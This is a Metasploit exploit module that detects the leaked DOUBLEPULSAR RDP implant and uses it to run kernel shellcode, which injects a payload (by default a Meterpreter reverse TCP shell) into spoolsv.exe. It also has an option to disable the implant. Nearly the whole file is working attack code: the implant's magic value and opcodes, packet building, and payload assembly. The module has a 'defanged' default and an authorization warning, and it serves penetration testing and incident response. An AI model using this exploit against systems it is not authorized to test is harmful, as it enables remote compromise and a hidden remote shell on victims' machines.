rdp_doublepulsar_rce.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::RDP

  MAX_SHELLCODE_SIZE = 4096

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'RDP DOUBLEPULSAR Remote Code Execution',
        'Description' => %q{
          This module executes a Metasploit payload against the Equation Group's
          DOUBLEPULSAR implant for RDP.

          While this module primarily performs code execution against the implant,
          the "Neutralize implant" target allows you to disable the implant.
        },
        'Author' => [
          'Equation Group',  # DOUBLEPULSAR implant
          'Shadow Brokers',  # Equation Group dump
          'Luke Jennings',   # DOPU analysis and detection
          'wvu',             # RDP DOPU analysis and module
          'Tom Sellers',     # RDP DOPU analysis
          'Spencer McIntyre' # RDP DOPU analysis
        ],
        'References' => [
          ['URL', 'https://github.com/countercept/doublepulsar-detection-script']
        ],
        'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_X64,
        'Privileged' => true,
        'Payload' => {
          'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Execute payload (x64)',
            'DefaultOptions' => {
              'EXITFUNC' => 'thread',
              'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
            }
          ],
          [
            'Neutralize implant',
            'DefaultOptions' => {
              'PAYLOAD' => nil # XXX: "Unset" generic payload
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['DOUBLEPULSAR'],
          'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'],
          'Stability' => [CRASH_OS_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_advanced_options([
      OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
      OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
    ])
  end

  OPCODES = {
    exec: 0x01,
    ping: 0x02,
    burn: 0x03
  }.freeze

  DOUBLEPULSAR_MAGIC = 0x19283744

  # https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw
  def parse_doublepulsar_ping(res)
    return unless res && res.length == 288

    magic, _size, major, minor, build = res.unpack('V5')
    sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2')

    return unless magic == DOUBLEPULSAR_MAGIC

    ver_str = "#{major}.#{minor}.#{build}"
    sp_str = "SP#{sp_major}"

    prod_str =
      case prod
      when 1
        'Workstation'
      when 2
        'Domain Controller'
      when 3
        'Server'
      end

    arch_str =
      case arch
      when 1
        'x86'
      when 2
        'x64'
      end

    "Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"
  end

  def setup
    super

    rdp_connect
    is_rdp, server_selected_protocol = rdp_check_protocol

    fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp

    case server_selected_protocol
    when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX
      fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')
    when RDPConstants::PROTOCOL_SSL
      vprint_status('Swapping plain socket to SSL')
      swap_sock_plain_to_ssl
    end
  rescue Rex::ConnectionError, RdpCommunicationError => e
    fail_with(Failure::Disconnected, e.message)
  end

  def cleanup
    rdp_disconnect

    super
  end

  def check
    print_status('Sending ping to DOUBLEPULSAR')
    res = do_rdp_doublepulsar_pkt(OPCODES[:ping])

    unless (info = parse_doublepulsar_ping(res))
      print_error('DOUBLEPULSAR not detected or disabled')
      return CheckCode::Safe
    end

    print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')
    print_good("Target is #{info}")
    CheckCode::Vulnerable
  end

  def exploit
    if datastore['DefangedMode']
      warning = <<~EOF


        Are you SURE you want to execute code against a nation-state implant?
        You MAY contaminate forensic evidence if there is an investigation.

        Disable the DefangedMode option if you have authorization to proceed.
      EOF

      fail_with(Failure::BadConfig, warning)
    end

    # No ForceExploit because check is accurate
    unless check == CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
    end

    case target.name
    when 'Execute payload (x64)'
      print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
      shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
      shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
      vprint_status("Total shellcode length: #{shellcode.length} bytes")

      print_status('Sending shellcode to DOUBLEPULSAR')
      res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)
    when 'Neutralize implant'
      return neutralize_implant
    end

    if res
      fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
    end

    print_good('Payload execution successful')
  end

  def neutralize_implant
    print_status('Neutralizing DOUBLEPULSAR')
    res = do_rdp_doublepulsar_pkt(OPCODES[:burn])

    if res
      fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
    end

    print_good('Implant neutralization successful')
  end

  def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
    rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))
  rescue Errno::ECONNRESET, RdpCommunicationError
    nil
  end

=begin
  MULTIPOINT-COMMUNICATION-SERVICE T.125
      DomainMCSPDU: channelJoinConfirm (15)
          channelJoinConfirm
              result: rt-domain-not-hierarchical (2)
              initiator: 14120
              requested: 6402
=end
  def make_rdp_mcs_doublepulsar(opcode, body)
    data = "\x3c" # channelJoinConfirm
    data << [DOUBLEPULSAR_MAGIC].pack('V')
    data << [opcode].pack('v')

    if body
      data << [body.length, body.length, 0].pack('V*')
      data << body
    end

    build_data_tpdu(data)
  end

  # ring3 = user mode encoded payload
  # proc_name = process to inject APC into
  def make_kernel_user_payload(ring3, proc_name)
    sc = make_kernel_shellcode(proc_name)

    sc << [ring3.length].pack('S<')
    sc << ring3

    sc
  end

  def generate_process_hash(process)
    # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    proc_hash = 0
    process << "\x00"

    process.each_byte do |c|
      proc_hash = ror(proc_hash, 13)
      proc_hash += c
    end

    [proc_hash].pack('l<')
  end

  def ror(dword, bits)
    (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
  end

  def make_kernel_shellcode(proc_name)
    # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    # Length: 780 bytes
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  end

  def kernel_shellcode_size
    make_kernel_shellcode('').length
  end

end